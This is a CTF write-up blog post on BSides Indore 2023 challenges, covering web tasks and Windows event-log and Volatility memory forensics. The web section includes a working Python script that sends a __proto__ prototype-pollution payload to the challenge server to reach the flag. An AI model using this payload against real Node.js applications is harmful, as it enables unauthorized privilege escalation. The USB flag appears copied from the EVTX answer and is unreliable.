Site cover image

Site icon image vicevirus’ Blog

Yo, welcome to my blog! I write tech stuff and play CTFs for fun. (still a noob)

Post title icon BSides Indore CTF 2023 Writeup

Introduction

Amidst a period of leisure, I found myself with some spare time and I joined a CTF called ‘BSidesIndore CTF’ during the weekend. Honestly, the challenges were pretty tough and difficult but I got few (+lucky) challenges done. Learned a lot from this CTF especially on the topic of JS Prototype Pollution (which was a new discovery for me) and Memory Forensics (Volatility).

Web

Operation Cipher Vault
  1. We were given a website with a password checker.
Image in a image block
  1. If the input is too short, then it will show the message ‘too short’, if it’s too long then an encrypted text will appear.
  2. My solution for this flag is pretty simple, which is to put an input that is long enough and short enough. (By adding and removing characters until you find the flag)

Note : Solved this while I was on my phone, forgot to document/screenshot the flag and the state of the website. Writing the solution here for future reference.

Buy The Flag (Unintended + Intended Solution)

Note : The server will restart every one minute.

Note 2 : I got this flag through unintended way first. I DMed the moderator, verified the flag and he gave me the keyword ‘Prototype Pollution’ for the intended way. Did some research about it and found ways to exploit the Express code.

  1. This challenge involved a given website that runs on an Express server. Additionally, the challenge provided the source code for the website. Buy the Flag Front Page Buy the Flag folder structure
    Image in a image block
    Image in a image block
  2. Upon further inspection, it becomes evident that there is only one interesting file, which is the index.js that contains all the Express route code.
  3. A credential was given and I tried logging into the website.. username:accountant password:accountant
  4. And I found an interesting page called Currency Exchange after logging in. In this page, there is a button for buying the flag which will redirect you to /buy-flag Currency Exchange Page
    Image in a image block
  5. Once the page redirected you to the /buy-flag, you will find a JSON response in the browser like below{"error": "Invalid ID"}
  6. Further inspection of the route for /buy-flag, I found that if the verifyManager() does not equal true then it will bring us to {"error": "Invalid ID"} /buy-flag route verifyManager() What verifyManager() does:
    Image in a image block
    Image in a image block
    • The function takes a parameter called receivedCookie.
    • It iterates over the credentials array using a for loop.
    • Within each iteration:
    • It parses the JSON data stored in credentials[i] and assigns it to the credential variable.
    • It checks if the cookie property of the credential object is equal to the receivedCookie.
    • If the condition is true, it returns an array containing the values of credential.manager and credential.id.
    • If none of the credentials match the receivedCookie, the function returns false.
  7. The code is only allowing the manager to buy the flag.. can’t think of an idea to exploit this… well atleast that is what I thought at first…
Intended Solution
  1. Notice that if isLoggedin equals to false inside the /buy-flag route, we will be jumping to the function securityIncident() and then return the status 403 with {error: "Unauthorized Action"}..
  2. Let’s have a look at what securityIncident() actually does.. securityIncident()
    Image in a image block
  3. extend() here seems like a jquery syntax which merges properties of objects but it is ported for nodejs.extend(deep, target, object1, objectN)
  4. So.. in this case.. {isLogedin: isLogedin, date: Date.now()} is merged into the request object.then.. when they are merged, they will go into the log object.
  5. Now that we know from the fact above that the securityIncident() will merge objects, we could maybe try to do prototype pollution to pollute all the objects..
  6. So in theory, we will be passing {"__proto__": {"manager": True, "id": 10} into the securityIncident() which lives on the route /buy-flag (Unauthenticated) using POST request.
  7. With this, our objects should have the manager and id prototype properties from our crafted payload.
  8. Then we could proceed by logging in using accountant before the server restarts in 1 minute, and then sending POST request to the /buy-flag (Authenticated) with a data/body of id = 10 (this is based on the id set on the payload) .
  9. Let’s build a simple script for this!
import requests

base_url = "http://35.232.108.81/"

session = requests.Session()

prototype = {"__proto__": {"manager": True, "id": 10}}

# Start by polluting with the prototype. Triggering securityIncident()

polluter = session.post(f"{base_url}/buy-flag", json=prototype)

login_response = session.post(f"{base_url}/signin", data={"username": "accountant", "password": "accountant"})

if login_response.status_code == 200:
    print("Login successful!")
else:
    print("Login failed!")
    exit()

buy_flag_resp = session.post(f"{base_url}/buy-flag", data={"id": 10})

if buy_flag_resp.status_code == 200:
    print(buy_flag_resp.text)

Running the script will give you the flag.

Flag : BSidesIndore{P0LLUT10N_1$_3V3RYWH3R3}

Unintended Solution
  1. I just kept on refreshing the /buy-flag route and eventually got the flag.
  2. This is probably due to other players solving the challenge while I was refreshing.
  3. From my understanding, the server will restart after 1 minute (clearing all credentials). So, if given the right moment/luck, you will get the flag if there is someone else trying to solve the challenge at the same time.

Forensics

Can you WIN from EVTX?
  1. An .evtx file which is an event viewer file for Windows were given to us.
  2. The challenge asks us to find how many failed logins?when was the last successful login date and time?
  3. To look for failed logins, you could find it by searching for the event id 4625 inside security event viewer logs. Event ID 4625 inside the Security Event Viewer Log
    Image in a image block
  4. There’s a total of 6 failed logins identified.
  5. Next, we have to look for the last successful login date and time.. we could find it by searching for the event id 4624Event ID 4624 inside the Security Event Viewer Log
    Image in a image block
  6. Aand now we have completed the flag with the required information!Flag : BSidesIndore{6_8/23/2022_10:56:09PM}
USB

Find out if the employee connected an external USB and the last time an external USB is connected

  1. For this challenge, we were given a file named memdump.raw which seems like a memory dump.
  2. Then I proceeded first by checking the image info using a tool called VolatilityVolatility imageinfo
    Image in a image block
  3. Running imageinfo tells us that the one of suggested profile for the memory dump inspection is Win7SP1x64.
  4. Maybe we could use the usbstor plugin inside volatility to see if we could find the last time an external USB is connected..
Windows Portable Devices
     --
     FriendlyName:   CROWDSEC
     Serial Number:  7&22AC07DA&0
     Last Write Time:        2022-08-21 07:56:05 UTC+0000
  1. Unfortunately, there isn’t any data on the last connected USB device. Only the last write time were given.
  2. Maybe we could do the other way, which is by finding the last connected USB event inside memory dump .evtxfiles.
  3. Running volatility filescan, you could find all the files inside the memory dump with their offset. python2 vol.py -f memdump.raw --profile=Win7SP1x64 filescan > files.txt
  4. Now, we have to look for Microsoft/Windows/DriverFrameworks-UserMode/Operational .evtx file inside the filescanoutput. 
  5. Now that we have found the offset at 0x000000003be12070, let’s dump the file into our computer. File dumping into our folder.
    Image in a image block
  6. Let’s open the .evtx file in the event viewer and look for the event ID 2003. Now, we should be able to find the last time an external USB is connected. 

    Flag : BSidesIndore{6_8/23/2022_10:56:09AM}

Thanks for reading my writeup!